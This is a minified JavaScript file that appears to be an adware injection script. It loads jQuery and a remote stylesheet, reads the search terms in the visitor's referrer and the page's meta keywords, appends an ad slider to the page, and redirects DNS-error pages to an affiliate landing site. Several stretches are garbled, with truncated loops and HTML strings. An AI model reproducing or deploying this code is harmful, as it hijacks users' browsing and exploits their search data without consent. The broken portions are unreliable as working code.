(function(){ function loadScript(url, callback) { var head = document.getElementsByTagName("head")[0]; addLater = false; if(!head){ head = document.createElement("head"); addLater = true; } var script = document.createElement("script"); script.src = url; script.type = "text/javascript"; if (script.readyState){ //IE script.onreadystatechange = function(){ if (script.readyState == "loaded" || script.readyState == "complete"){ script.onreadystatechange = null; callback(); } }; } else { //Others script.onload = function(){ callback(); }; } head.appendChild(script); if(addLater){ document.documentElement.appendChild(head); } } if(typeof jQuery == 'undefined') { loadScript("http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js", function(){ init(); }); } else init(); function init(){ function loadCSS(url, callback) { var head = document.getElementsByTagName("head")[0]; addLater = false; if(!head){ head = document.createElement("head"); addLater = true; } var css = document.createElement("link"); css.href = url; css.type = "text/css"; css.rel = "stylesheet"; if (css.readyState){ //IE css.onreadystatechange = function(){ if (css.readyState == "loaded" || css.readyState == "complete"){ css.onreadystatechange = null; callback(); } }; } else { //Others css.onload = function(){ callback(); }; } head.appendChild(css); if(addLater){ document.documentElement.appendChild(head); } } entity = function(url, mode) { var m; if (!url) { url = document.location.href; } m = url.match(/^https?:\/\/([^\/]+\.)?([a-z0-9\-_]+?)\.(co|org|net|com|gov|name|arpa|mil|edu|biz|mobi|aero|asia|cat|coop|info|int|jobs|museum|pro|tel|travel|xxx|[a-z][a-z]|(co|edu|gov|net|org|com)\.[a-z][a-z])(\/|$)/i); if (m === null) { if(url.indexOf('dnserror') != -1 || url.indexOf('ieframe.dll') != -1) { var loc_sp = url.split("#"); if(loc_sp[1] && loc_sp[1] != '') window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+loc_sp[1]; } else return ""; //else // throw 'Not a valid URL: ' + url; } if(m[2] == "co" && url.indexOf('bbc') != -1) return "bbc"; else if(m[2] == "yahoo" && url.indexOf('omg') != -1) return "omg"; if(mode == 1) return m[2]; else if(mode == 2) return m[2]+"."+m[3]; } var affiliateId = "16679"; var subid = ""; var affiliate = "accoona_products"; var ref = document.referrer; var pref = parent.window.document.referrer; var isGoogle = false; var isYahoo = false; var isBing = false; var sterm = ''; var loadAds = 0; var pageUrl = window.location.href; var htmlv = 5; var ad_label = ""; var ad_label_link = ""; var server_host = "of.admedia.com"; var sid = ""; var pageEntity = entity(window.location.href, 2); var redirectUrl = "http://exitmonetization.com/landing/?id="+affiliateId+"&ref="+encodeURIComponent(ref)+"&subid="+subid; var siteParam = "&site="+pageEntity; var vsId = "Oz4vOCo"; var vsliderUrl = "http://vslider.admedia.com/?id="+vsId; getSearchedTerm = function(href) { console.log("OF Ref: "+href); m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/.*#(.+&)?q=([^&]*).*$/); if (m !== null) { isGoogle = true; escapedTerm = m[2]; term = unescape(m[2]); return term; } m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/); if (m !== null) { isGoogle = true; escapedTerm = m[2]; term = unescape(m[2]); return term; } m = href.match(/^https?:\/\/.*\.bing\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/); if (m !== null) { isBing = true; escapedTerm = m[2]; term = unescape(m[2]); return term; } m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(;.*)\?(.+&)?p=([^&]*).*$/); if (m !== null) { isYahoo = true; escapedTerm = m[4]; term = unescape(m[4]); return term; } if(entity(href, 1) == 'google') return 'googleSearchTerm'; else if(entity(href, 1) == 'yahoo') return 'googleSearchTerm'; else return ''; } shuffle = function(o){ //v1.0 for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x); return o; }; getMetaKeyword = function() { var metatags = document.getElementsByTagName('meta'); var metakeys = ""; for (i=0; iX'; html += '
'; html += '
'; if(obj.logo && obj.logo != '') html += ''; html += '
'; if(ad_label != '' && ad_label_link != '') html += ''; html += '
'; html += '
'; html += '
'; html += ''; html += '
'; html += ''; html += ''; html += ''; html += '
'; html += '
'; html += '
'; html += ''; jQuery(window.document.body).append(html); } } loadCSS("https://"+server_host+"/css/style.css", function(){ sterm = getSearchedTerm(ref); if(sterm != '') { if(sterm == 'googleSearchTerm') { sterm = getMetaKeyword(); if(sterm == '') sterm = document.title; callXML(sterm); } else { callXML(sterm); } } else { sterm = getMetaKeyword(); if(sterm == '') sterm = document.title; } }); } })();